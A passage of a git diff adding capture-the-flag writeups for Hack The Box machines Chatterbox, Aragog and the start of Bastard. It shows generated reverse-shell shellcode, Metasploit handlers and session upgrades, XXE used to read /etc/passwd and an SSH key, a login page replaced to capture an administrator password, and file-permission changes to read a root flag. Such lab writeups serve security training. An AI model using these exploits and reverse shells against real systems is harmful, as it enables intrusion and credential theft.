'\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python + + +Here we can see that we will generate a payload that will connect back to our ip (10.10.14.11) on port 9001 spawning the calc.exe application in the process. Note also that BufferRegister=EAX indicates at which register the jump call will be, the EAX register will contain the jump call that basically points at the BEGINNING of our buffer overflow payload. + + + Found 1 compatible encoders + Attempting to encode payload with 1 iterations of x86/unicode_mixed + x86/unicode_mixed succeeded with size 690 (iteration=0) + x86/unicode_mixed chosen with final size 690 + Payload size: 690 bytes + Final size of python file: 3365 bytes + buf = b"" + buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49" + buf += b"\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" + buf += b"\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41" + buf += b"\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51" + buf += b"\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31" + buf += b"\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41" + buf += b"\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41" + buf += b"\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41" + buf += b"\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41" + buf += b"\x47\x42\x39\x75\x34\x4a\x42\x49\x6c\x38\x68\x35\x32" + buf += b"\x59\x70\x4b\x50\x6d\x30\x53\x30\x63\x59\x47\x75\x4c" + buf += b"\x71\x49\x30\x63\x34\x62\x6b\x6e\x70\x4e\x50\x64\x4b" + buf += b"\x70\x52\x7a\x6c\x34\x4b\x42\x32\x4e\x34\x72\x6b\x62" + buf += b"\x52\x4f\x38\x4c\x4f\x55\x67\x6d\x7a\x4d\x56\x70\x31" + buf += b"\x49\x6f\x66\x4c\x4f\x4c\x30\x61\x51\x6c\x49\x72\x4e" + buf += b"\x4c\x6b\x70\x55\x71\x56\x6f\x6c\x4d\x4d\x31\x45\x77" + buf += b"\x67\x72\x38\x72\x51\x42\x70\x57\x44\x4b\x31\x42\x5a" + buf += b"\x70\x54\x4b\x50\x4a\x6d\x6c\x34\x4b\x6e\x6c\x5a\x71" + buf += b"\x51\x68\x77\x73\x4e\x68\x79\x71\x46\x71\x62\x31\x44" + buf += b"\x4b\x31\x49\x4f\x30\x6d\x31\x57\x63\x52\x6b\x71\x39" + buf += b"\x6e\x38\x6a\x43\x6f\x4a\x6d\x79\x44\x4b\x70\x34\x54" + buf += b"\x4b\x5a\x61\x57\x66\x4e\x51\x4b\x4f\x36\x4c\x69\x31" + buf += b"\x78\x4f\x5a\x6d\x39\x71\x68\x47\x4c\x78\x57\x70\x74" + buf += b"\x35\x58\x76\x49\x73\x33\x4d\x49\x68\x6f\x4b\x51\x6d" + buf += b"\x6f\x34\x33\x45\x48\x64\x42\x38\x54\x4b\x70\x58\x6f" + buf += b"\x34\x6d\x31\x48\x53\x72\x46\x64\x4b\x4a\x6c\x4e\x6b" + buf += b"\x62\x6b\x71\x48\x6d\x4c\x4b\x51\x57\x63\x52\x6b\x69" + buf += b"\x74\x52\x6b\x39\x71\x36\x70\x64\x49\x71\x34\x4f\x34" + buf += b"\x6b\x74\x51\x4b\x31\x4b\x33\x31\x6e\x79\x4f\x6a\x52" + buf += b"\x31\x69\x6f\x67\x70\x61\x4f\x4f\x6f\x6e\x7a\x54\x4b" + buf += b"\x4d\x42\x78\x6b\x64\x4d\x51\x4d\x62\x48\x6f\x43\x6d" + buf += b"\x62\x39\x70\x6b\x50\x32\x48\x31\x67\x73\x43\x4d\x62" + buf += b"\x31\x4f\x51\x44\x4f\x78\x4e\x6c\x30\x77\x4d\x56\x49" + buf += b"\x77\x39\x6f\x78\x55\x37\x48\x66\x30\x5a\x61\x49\x70" + buf += b"\x69\x70\x4f\x39\x45\x74\x4e\x74\x50\x50\x61\x58\x6b" + buf += b"\x79\x53\x50\x50\x6b\x4d\x30\x69\x6f\x66\x75\x62\x30" + buf += b"\x42\x30\x72\x30\x52\x30\x6f\x50\x70\x50\x61\x30\x6e" + buf += b"\x70\x72\x48\x79\x5a\x4a\x6f\x77\x6f\x57\x70\x49\x6f" + buf += b"\x68\x55\x63\x67\x53\x38\x39\x7a\x6c\x4a\x6c\x4e\x4a" + buf += b"\x6b\x32\x48\x4d\x32\x59\x70\x7a\x71\x51\x4c\x35\x39" + buf += b"\x38\x66\x30\x6a\x4c\x50\x42\x36\x71\x47\x73\x38\x42" + buf += b"\x79\x43\x75\x72\x54\x31\x51\x4b\x4f\x49\x45\x33\x55" + buf += b"\x65\x70\x62\x54\x7a\x6f\x51\x56\x64\x4b\x51\x36\x4c" + buf += b"\x42\x31\x76\x59\x50\x6f\x50\x45\x36\x67\x70\x50\x66" + buf += b"\x34\x49\x71\x36\x4d\x32\x68\x6b\x5a\x42\x61\x5a\x79" + buf += b"\x70\x32\x4a\x69\x74\x62\x36\x6e\x77\x33\x38\x59\x72" + buf += b"\x49\x49\x66\x68\x61\x4f\x59\x6f\x48\x55\x64\x4b\x50" + buf += b"\x36\x72\x4a\x6d\x70\x53\x38\x69\x70\x4c\x50\x4b\x50" + buf += b"\x59\x70\x6e\x76\x61\x5a\x4b\x50\x62\x48\x50\x58\x63" + buf += b"\x74\x6e\x73\x38\x65\x4b\x4f\x59\x45\x76\x33\x50\x53" + buf += b"\x30\x6a\x6b\x50\x71\x46\x30\x53\x50\x57\x53\x38\x59" + buf += b"\x72\x77\x69\x47\x58\x31\x4f\x69\x6f\x76\x75\x4b\x51" + buf += b"\x59\x33\x4b\x79\x77\x56\x74\x35\x58\x6e\x37\x53\x41" + buf += b"\x41" + + +From there we edit the python script accordingly by pasting in the payload shellcode we generated: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → nano 36025.py + + +` ![](prg/18_004.png) + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → nano 36025.py + + +Once we're done, we set up a meterpreter handler listening on our port 4444 : + + + msf5 > use exploit/multi/handler + msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp_allports + payload => windows/shell/reverse_tcp_allports + msf5 exploit(multi/handler) > set lhost 10.10.14.11 + lhost => 10.10.14.11 + msf5 exploit(multi/handler) > set lport 4444 + lport => 4444 + msf5 exploit(multi/handler) > exploit + + [*] Started reverse TCP handler on 10.10.14.11:4444 + + +Launch the exploit and catch the incoming reverse shell connection : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Chatterbox] + → python 36025.py + ---->{P00F}! + + + + msf5 exploit(multi/handler) > exploit + + [*] Started reverse TCP handler on 10.10.14.11:4444 + [*] Encoded stage with x86/shikata_ga_nai + [*] Sending encoded stage (267 bytes) to 10.10.10.74 + [*] Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.74:49157) at 2020-03-12 09:51:54 +0000 + + Microsoft Windows [Version 6.1.7601] + Copyright (c) 2009 Microsoft Corporation. All rights reserved. + + C:\Windows\system32>systeminfo + systeminfo + + + +Looking at the systeminfo we see that the box has quite alot of hotfixes installed, so the privilege escalation may not be as trivial as we think : + + + Host Name: CHATTERBOX + OS Name: Microsoft Windows 7 Professional + OS Version: 6.1.7601 Service Pack 1 Build 7601 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Workstation + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 00371-223-0897461-86794 + Original Install Date: 12/10/2017, 9:18:19 AM + System Boot Time: 3/12/2020, 5:52:17 AM + System Manufacturer: VMware, Inc. + System Model: VMware Virtual Platform + System Type: X86-based PC + Processor(s): 2 Processor(s) Installed. + [01]: x64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + [02]: x64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: en-us;English (United States) + Input Locale: en-us;English (United States) + Time Zone: (UTC-05:00) Eastern Time (US & Canada) + Total Physical Memory: 2,047 MB + Available Physical Memory: 1,402 MB + Virtual Memory: Max Size: 4,095 MB + Virtual Memory: Available: 3,423 MB + Virtual Memory: In Use: 672 MB + Page File Location(s): C:\pagefile.sys + Domain: WORKGROUP + Logon Server: \\CHATTERBOX + Hotfix(s): 208 Hotfix(s) Installed. + [01]: KB2849697 + [02]: KB2849696 + [03]: KB2841134 + [04]: KB2670838 + [05]: KB2830477 + [06]: KB2592687 + [07]: KB2479943 + [08]: KB2491683 + [09]: KB2506212 + [10]: KB2506928 + [11]: KB2509553 + [12]: KB2532531 + [13]: KB2533552 + [14]: KB2533623 + + [...] + + [206]: KB976902 + [207]: KB982018 + [208]: KB4054518 + Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Local Area Connection + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.74 + + +now let's first upgrade our multi handler to a meterpreter shell : + + + C:\Windows\system32>^Z + Background session 1? [y/N] y + msf5 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter + msf5 post(multi/manage/shell_to_meterpreter) > set session 1 + session => 1 + msf5 post(multi/manage/shell_to_meterpreter) > set lhost 10.10.14.11 + lhost => 10.10.14.11 + msf5 post(multi/manage/shell_to_meterpreter) > set lport 8888 + lport => 8888 + msf5 post(multi/manage/shell_to_meterpreter) > exploit + + [*] Upgrading session ID: 1 + [*] Starting exploit/multi/handler + [*] Started reverse TCP handler on 10.10.14.11:8888 + + +Wait a bit for it to migrate : + + + [*] Started reverse TCP handler on 10.10.14.11:8888 + [*] Post module execution completed + msf5 post(multi/manage/shell_to_meterpreter) > + [*] Sending stage (180291 bytes) to 10.10.10.74 + [*] Meterpreter session 2 opened (10.10.14.11:8888 -> 10.10.10.74:49158) at 2020-03-12 09:55:49 +0000 + [*] Stopping exploit/multi/handler + + + +And we see that it opened session 2 for us, so migrate into our second session : + + + msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 2 + [*] Starting interaction with 2... + + meterpreter > shell + Process 4008 created. + Channel 1 created. + Microsoft Windows [Version 6.1.7601] + Copyright (c) 2009 Microsoft Corporation. All rights reserved. + + C:\Windows\system32>whoami + whoami + chatterbox\alfred + + +Looks like we are logged in as alfred, so let's go ahead and print out his user.txt flag : + + + C:\Windows\system32>cd .. + cdcd .. + + C:\Windows> .. + cd .. + + C:\>dir + dir + Volume in drive C has no label. + Volume Serial Number is 9034-6528 + + Directory of C:\ + + 06/10/2009 05:42 PM 24 autoexec.bat + 06/10/2009 05:42 PM 10 config.sys + 07/13/2009 10:37 PM <****DIR> PerfLogs + 12/10/2017 02:35 PM <****DIR> Program Files + 12/10/2017 10:21 AM <****DIR> Users + 12/10/2017 07:42 PM <****DIR> Windows + 2 File(s) 34 bytes + 4 Dir(s) 17,930,084,352 bytes free + + C:\>cd Users + cd Users + + C:\Users>dir + dir + Volume in drive C has no label. + Volume Serial Number is 9034-6528 + + Directory of C:\Users + + 12/10/2017 10:21 AM <****DIR> . + 12/10/2017 10:21 AM <****DIR> .. + 12/10/2017 02:34 PM <****DIR> Administrator + 12/10/2017 10:18 AM <****DIR> Alfred + 04/11/2011 10:21 PM <****DIR> Public + 0 File(s) 0 bytes + 5 Dir(s) 17,930,084,352 bytes free + + C:\Users>cd Alfred + cd Alfred + + C:\Users\Alfred>dir + dir + Volume in drive C has no label. + Volume Serial Number is 9034-6528 + + Directory of C:\Users\Alfred + + 12/10/2017 10:18 AM <****DIR> . + 12/10/2017 10:18 AM <****DIR> .. + 12/10/2017 01:05 PM <****DIR> Contacts + 12/10/2017 07:50 PM <****DIR> Desktop + 12/10/2017 01:05 PM <****DIR> Documents + 12/10/2017 01:25 PM <****DIR> Downloads + 12/10/2017 01:05 PM <****DIR> Favorites + 12/10/2017 01:05 PM <****DIR> Links + 12/10/2017 01:05 PM <****DIR> Music + 12/10/2017 01:05 PM <****DIR> Pictures + 12/10/2017 01:05 PM <****DIR> Saved Games + 12/10/2017 01:05 PM <****DIR> Searches + 12/10/2017 01:05 PM <****DIR> Videos + 0 File(s) 0 bytes + 13 Dir(s) 17,930,084,352 bytes free + + C:\Users\Alfred>cd Desktop + cd Desktop + + C:\Users\Alfred\Desktop>dir + dir + Volume in drive C has no label. + Volume Serial Number is 9034-6528 + + Directory of C:\Users\Alfred\Desktop + + 12/10/2017 07:50 PM <****DIR> . + 12/10/2017 07:50 PM <****DIR> .. + 12/10/2017 07:50 PM 32 user.txt + 1 File(s) 32 bytes + 2 Dir(s) 17,930,084,352 bytes free + + C:\Users\Alfred\Desktop>type user.txt + type user.txt + 72XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Getting the Administrator flag is preety straightforward since we can already navigate into the Administrator folder: + + + C:\Users\Alfred\Desktop>cd ../.. + cd ../.. + + C:\Users>cd Administrator + cd Administrator + + C:\Users\Administrator>dir + dir + Volume in drive C has no label. + Volume Serial Number is 9034-6528 + + Directory of C:\Users\Administrator + + 12/10/2017 02:34 PM <****DIR> . + 12/10/2017 02:34 PM <****DIR> .. + 12/10/2017 07:08 PM <****DIR> Contacts + 12/10/2017 07:50 PM <****DIR> Desktop + 12/10/2017 07:08 PM <****DIR> Documents + 12/10/2017 07:08 PM <****DIR> Downloads + 12/10/2017 07:08 PM <****DIR> Favorites + 12/10/2017 07:08 PM <****DIR> Links + 12/10/2017 07:08 PM <****DIR> Music + 12/10/2017 07:08 PM <****DIR> Pictures + 12/10/2017 07:08 PM <****DIR> Saved Games + 12/10/2017 07:08 PM <****DIR> Searches + 12/10/2017 07:08 PM <****DIR> Videos + 0 File(s) 0 bytes + 13 Dir(s) 18,025,164,800 bytes free + + C:\Users\Administrator>cd Desktop + cd Desktop + + C:\Users\Administrator\Desktop>dir + dir + Volume in drive C has no label. + Volume Serial Number is 9034-6528 + + Directory of C:\Users\Administrator\Desktop + + 12/10/2017 07:50 PM <****DIR> . + 12/10/2017 07:50 PM <****DIR> .. + 12/10/2017 07:50 PM 32 root.txt + 1 File(s) 32 bytes + 2 Dir(s) 18,025,164,800 bytes free + + C:\Users\Administrator\Desktop>type root.txt + type root.txt + Access is denied. + +As expected we can't print out the Administrator's root flag. so we check the permissions since it is quite odd to be able to navigate into his folder as the user alfred: + + + C:\Users\Administrator\Desktop>cacls C:\Users\Administrator\Desktop + cacls C:\Users\Administrator\Desktop + C:\Users\Administrator\Desktop NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F + CHATTERBOX\Administrator:(OI)(CI)(ID)F + BUILTIN\Administrators:(OI)(CI)(ID)F + CHATTERBOX\Alfred:(OI)(CI)(ID)F + + + +Basically here we see that we already have the privileges we need to modify the permissions of all files and directories under Admin's directory. And since we are on a Windows 7 Box there is a command line tool to change file permissions : + + + C:\Users\Administrator\Desktop>ICACLS root.txt /grant "Users":F + ICACLS root.txt /grant "Users":F + processed file: root.txt + Successfully processed 1 files; Failed processing 0 files + + C:\Users\Administrator\Desktop>type root.txt + type root.txt + a6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And as you can see we have been able to print out the root flag ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/18_graph.png) + diff --git a/Medium/19.md b/Medium/19.md new file mode 100644 index 0000000..32a665d --- /dev/null +++ b/Medium/19.md @@ -0,0 +1,326 @@ +# Aragog Writeup + +![](img/19.png) + +## Introduction : + +Aragog is a Medium linux box released back in Febuary 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.6/23 ] [~] + → nmap -F 10.10.10.78 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-13 13:09 GMT + Nmap scan report for 10.10.10.78 + Host is up (0.092s latency). + Not shown: 8317 closed ports + PORT STATE SERVICE + 21/tcp open ftp + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 54.94 seconds + + λ nihilist [ 10.10.14.6/23 ] [~] + → nmap -sCV -p21,22,80 10.10.10.78 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-13 13:10 GMT + Nmap scan report for 10.10.10.78 + Host is up (0.090s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 3.0.3 + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + |_-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt + | ftp-syst: + | STAT: + | FTP server status: + | Connected to ::ffff:10.10.14.6 + | Logged in as ftp + | TYPE: ASCII + | No session bandwidth limit + | Session timeout in seconds is 300 + | Control connection is plain text + | Data connections will be plain text + | At session startup, client count was 1 + | vsFTPd 3.0.3 - secure, fast, stable + |_End of status + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA) + | 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA) + |_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 11.37 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 21 running vsftpd 3.0.3 with anonymous login so let's investigate it: + + + λ nihilist [ 10.10.14.6/23 ] [~] + → ftp 10.10.10.78 + Connected to 10.10.10.78. + 220 (vsFTPd 3.0.3) + Name (10.10.10.78:nihilist): anonymous + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> ls + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + -r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt + 226 Directory send OK. + ftp> get test.txt + local: test.txt remote: test.txt + 200 PORT command successful. Consider using PASV. + 150 Opening BINARY mode data connection for test.txt (86 bytes). + 226 Transfer complete. + 86 bytes received in 0.00 secs (52.6218 kB/s) + ftp> exit + 221 Goodbye. + + + +Now that we have downloaded the only textfile allowed to us we print out it's contents : + + + λ nihilist [ 10.10.14.6/23 ] [~/_HTB/Aragorg] + → cat test.txt + <****details> <****subnet_mask>255.255.255.192 <****/subnet_mask> <****test> <****/test> <****/details> + +Looks like we are hinted towards a particular subnet whose mask is /26 so let's move over to enumerating port 80 And for that matter we will be using dirb: + + + λ nihilist [ 10.10.14.6/23 ] [~/_HTB/Aragorg] + → dirb http://10.10.10.78/ -X .php + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Fri Mar 13 13:36:52 2020 + URL_BASE: http://10.10.10.78/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + EXTENSIONS_LIST: (.php) | (.php) [NUM = 1] + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://10.10.10.78/ ---- + + http://10.10.10.78/hosts.php (CODE:200|SIZE:46) + + ----------------- + END_TIME: Fri Mar 13 13:44:07 2020 + DOWNLOADED: 4612 - FOUND: 1 + + λ nihilist [ 10.10.14.6/23 ] [~/_HTB/Aragorg] + → curl -sk http://10.10.10.78/hosts.php + + There are 4294967294 possible hosts for + + +Looking at the results, we seem to have found yet another thing related to subnetting just like that test.txt file we found. so let's catch the request with burpsuite's interceptor and see what we can do from there. + +![](prg/19_001.png) + +From there we send the request over to the repeater so that we can modify it to contain the contents of the test.txt file we found on the ftp service earlier. + +From there, we change the "GET" method to a "POST" method and add test.txt's file contents : + +![](prg/19_002.png) + +And we get a successful response! it looks like this is a subnet calculator, now since we have xml-like content we could assume that we can get some XXE. Let's verify that by sending in an infected payload to read /etc/passwd: + +![](prg/19_003.png) + +And we seem to have an username to work with: , so let's try to print out his user flag. + +![](prg/19_004.png) + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now that we have the user flag let's try to get to access onto the system, To do so we'll first try to get the user florian's private ssh key, that is stored in /home/florian/.ssh/id_rsa + +![](prg/19_005.png) + +And we have it ! now let's save it locally, give it the necessary permissions and use it to login as the user florian : + + + λ nihilist [ 10.10.14.6/23 ] [~/_HTB/Aragorg] + → ssh -i id_rsa florian@10.10.10.78 + The authenticity of host '10.10.10.78 (10.10.10.78)' can't be established. + ECDSA key fingerprint is SHA256:phu0FjQg/9nCmL2014AJ9yH4akvraA7Ea5QtE59wqD4. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.78' (ECDSA) to the list of known hosts. + Last login: Fri Jan 12 13:56:45 2018 from 10.10.14.3 + + florian@aragog:~$ id + uid=1000(florian) gid=1000(florian) groups=1000(florian) + + florian@aragog:~$ + + +Now since we know that this box has a server running let's see what'sin /var/www/html : + + + florian@aragog:~$ cd /var/www/html + florian@aragog:/var/www/html$ ls + dev_wiki hosts.php index.html zz_backup + florian@aragog:/var/www/html$ cat hosts.php + <****?php + + libxml_disable_entity_loader (false); + $xmlfile = file_get_contents('php://input'); + $dom = new DOMDocument(); + $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); + $details = simplexml_import_dom($dom); + $mask = $details->subnet_mask; + //echo "\r\nYou have provided subnet $mask\r\n"; + + $max_bits = '32'; + $cidr = mask2cidr($mask); + $bits = $max_bits - $cidr; + $hosts = pow(2,$bits); + echo "\r\nThere are " . ($hosts - 2) . " possible hosts for $mask\r\n\r\n"; + + function mask2cidr($mask){ + $long = ip2long($mask); + $base = ip2long('255.255.255.255'); + return 32-log(($long ^ $base)+1,2); + } + + ?****> + +Here is the php file we exploited earlier, but in order to escalate privileges we need to take a look into dev_wiki + + + florian@aragog:/var/www/html$ cd dev_wiki + florian@aragog:/var/www/html/dev_wiki$ ls + index.php wp-blog-header.php wp-includes wp-settings.php + license.txt wp-comments-post.php wp-links-opml.php wp-signup.php + readme.html wp-config.php wp-load.php wp-trackback.php + wp-activate.php wp-content wp-login.php xmlrpc.php + wp-admin wp-cron.php wp-mail.php + + +Now let's see if we can access that wordpress website from the web browser : + +![](prg/19_006.png) + +We get a 403 forbidden, but seeing that 10.10.10.78 got changed into aragog, we add the correct line in our /etc/hosts to be able to access the website : + +![](prg/19_007.png) + +We see the wordpress website as expected, now let's see what's in the blog directory : + +![](prg/19_008.png) + +Apparently the wordpress website files are regularly wiped out, and replaced back automatically, So let's replace wp-login.php with the custom php script that [Magnetik Online](https://github.com/magnetikonline) made: + + + <****?php + // https://gist.github.com/magnetikonline/650e30e485c0f91f2f40 + + class DumpHTTPRequestToFile { + + public function execute($targetFile) { + + $data = sprintf( + "%s %s %s\n\nHTTP headers:\n", + $_SERVER['REQUEST_METHOD'], + $_SERVER['REQUEST_URI'], + $_SERVER['SERVER_PROTOCOL'] + ); + + foreach ($this->getHeaderList() as $name => $value) { + $data .= $name . ': ' . $value . "\n"; + } + + $data .= "\nRequest body:\n"; + + file_put_contents( + $targetFile, + $data . file_get_contents('php://input') . "\n" + ); + + echo("Done!\n\n"); + } + + private function getHeaderList() { + + $headerList = []; + foreach ($_SERVER as $name => $value) { + if (preg_match('/^HTTP_/',$name)) { + // convert HTTP_HEADER_NAME to Header-Name + $name = strtr(substr($name,5),'_',' '); + $name = ucwords(strtolower($name)); + $name = strtr($name,' ','-'); + + // add to list + $headerList[$name] = $value; + } + } + + return $headerList; + } + } + + + (new DumpHTTPRequestToFile)->execute('./dumprequest.txt'); + + + florian@aragog:/var/www/html/dev_wiki$ rm -rf wp-login.php + florian@aragog:/var/www/html/dev_wiki$ nano wp-login.php + + +Then wait a bit for the dumprequest.txt file to appear then print out it's contents : + + + florian@aragog:/var/www/html/dev_wiki$ cat dumprequest.txt + POST /dev_wiki/wp-login.php HTTP/1.1 + + HTTP headers: + Host: 127.0.0.1 + Connection: keep-alive + Accept-Encoding: gzip, deflate + Accept: */* + User-Agent: python-requests/2.18.4 + Cookie: wordpress_test_cookie=WP Cookie check + + Request body: + pwd=%21KRgYs%28JFO%21%26MTr%29lf&wp-submit;=Log+In&testcookie;=1&log;=Administrator&redirect;_to=http%3A%2F%2F127.0.0.1%2Fdev_wiki%2Fwp-admin%2F + + +Now the interesting part here is " %21KRgYs%28JFO%21%26MTr%29lf " which is an URL encoded string that we can paste into burpsuite to decode to get the following string : !KRgYs(JFO!&MTr;)lf + + + florian@aragog:/var/www/html/dev_wiki$ su + Password: + shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory + sh: 0: getcwd() failed: No such file or directory + + root@aragog:/var/www/html/dev_wiki# cat /root/root.txt + 9aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/19_graph.png) + diff --git a/Medium/2.md b/Medium/2.md new file mode 100644 index 0000000..de587b4 --- /dev/null +++ b/Medium/2.md @@ -0,0 +1,266 @@ +# Bastard Writeup + +![](img/2.png) + +## Introduction : + +Bastard is a Windows box released back in march 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → nmap -F 10.10.10.9 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-20 14:15 GMT + Nmap scan report for 10.10.10.9 + Host is up (0.11s latency). + Not shown: 97 filtered ports + PORT STATE SERVICE + 80/tcp open http + 135/tcp open msrpc + 49154/tcp open unknown + + Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → nmap -sCV -p80,135,49154 10.10.10.9 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-20 14:15 GMT + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 7.5 + |_http-generator: Drupal 7 (http://drupal.org) + | http-methods: + |_ Potentially risky methods: TRACE + | http-robots.txt: 36 disallowed entries (15 shown) + | /includes/ /misc/ /modules/ /profiles/ /scripts/ + | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt + | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt + |_/LICENSE.txt /MAINTAINERS.txt + |_http-server-header: Microsoft-IIS/7.5 + |_http-title: Welcome to 10.10.10.9 | 10.10.10.9 + 135/tcp open msrpc Microsoft Windows RPC + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 17.69 seconds + + + +## **Part 2 : Getting User Access** + +Looks like our nmap scan picked up a drupal 7 service running on port 80, let's run a quick searchsploit command to see the public exploits we could use : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → searchsploit drupal 7. + ----------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ----------------------------------------------------------------------------- ---------------------------------------- + Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | exploits/php/webapps/34992.py + Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | exploits/php/webapps/44355.php + Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | exploits/php/webapps/34984.py + Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | exploits/php/webapps/34993.php + Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) | exploits/php/webapps/35150.php + Drupal 7.12 - Multiple Vulnerabilities | exploits/php/webapps/18564.txt + Drupal 7.x Module Services - Remote Code Execution | exploits/php/webapps/41564.php + Drupal < 4.7.6 - Post Comments Remote Command Execution | exploits/php/webapps/3313.pl + Drupal < 7.34 - Denial of Service | exploits/php/dos/35415.txt + Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | exploits/php/webapps/44557.rb + Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | exploits/php/webapps/44542.txt + Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Ex | exploits/php/webapps/44449.rb + Drupal 